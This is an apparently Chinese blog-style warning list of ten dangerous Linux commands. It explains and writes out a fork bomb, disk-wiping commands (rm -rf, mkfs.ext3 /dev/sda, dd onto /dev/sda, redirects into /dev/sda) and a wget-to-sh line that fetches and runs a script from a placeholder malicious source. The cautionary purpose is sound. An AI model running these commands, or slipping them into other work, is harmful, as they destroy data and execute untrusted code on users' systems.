linux的10个最危险的命令
rm -rf 命令删除文件夹及其内容最快的方式之一。
:(){:|:&};:命令,这就是fork炸弹的实例
具体操作是通过定义一个名为‘:’的函数,它会调用自己两次,一次在前台另一次运行在后台,它会反复的执行下去直到系统崩溃。
命令 > /dev/sda
这个命令将某个命令的输出写入到 块设备/dev/sda.
该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
mv 文件夹 /dev/null
这个命令会移动某个‘文件夹’。
在linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。
当然,要说明的是这个命令并不能阻止数据恢复软件,所以真正的彻底毁灭,需要采用专用的软件或者手法来完成。
mv /home/user/* /dev/null
wget http://malicious_source -O | sh
该命令会从一个(也许是)恶意源下载一个脚本并执行。
wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。
注意:你应该时刻注意你下载包或脚本的源,只能使用那些从可信任的源中下载脚本/程序。
mkfs.ext3 /dev/sda
上列命令会格式化块设备sda,在执行这个命令后你的块设备(硬盘驱动器)会被格式化,直接让你的系统达到不可恢复的阶段。
通常我们不会直接使用/dev/sda这样的设备,除非是作为raw设备使用。
一般都需要将sda分成类似sda1,sda2这样的分区后才使用,当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。
> file
这个命令常用来清空文件内容或记录命令输出。
不过请在执行前,确认输出的文件是空的或者还不存在,否则砂质来的文件可真是恢复不了了--连数据恢复软件都未必能帮助你了。
你可能真正想用的是‘>>’即累加新的输出到文件,而不是刷新那个文件。
如果用上列执行时输出错误或无知的输入类似“> xt.conf”的命令会覆盖配置文件或其他任何的系统配置文件。
^foo^bar
这个命令用来编辑先前运行的命令而无需重打整个命令
用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。
dd if=/dev/random of=/dev/sda
这个命令会向块设备sda写入随机的垃圾文件从而擦出数据,让你的系统可能陷入混乱和不可恢复的状态。
记得上面说过mv到黑洞并不能彻底删除数据么,那么这个命令就是给了你一个彻底删除的方法,当然为了保险起见,你可以覆写多次。
隐藏命令。
下面的命令其实就是上面第一个命令(rm -rf)。这里代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄,如果在终端里运行下面
命令可能会擦除你的根分区。
真正的危险是隐藏起来的,不会轻易的检测到,你必须时刻留你在什么结果会怎样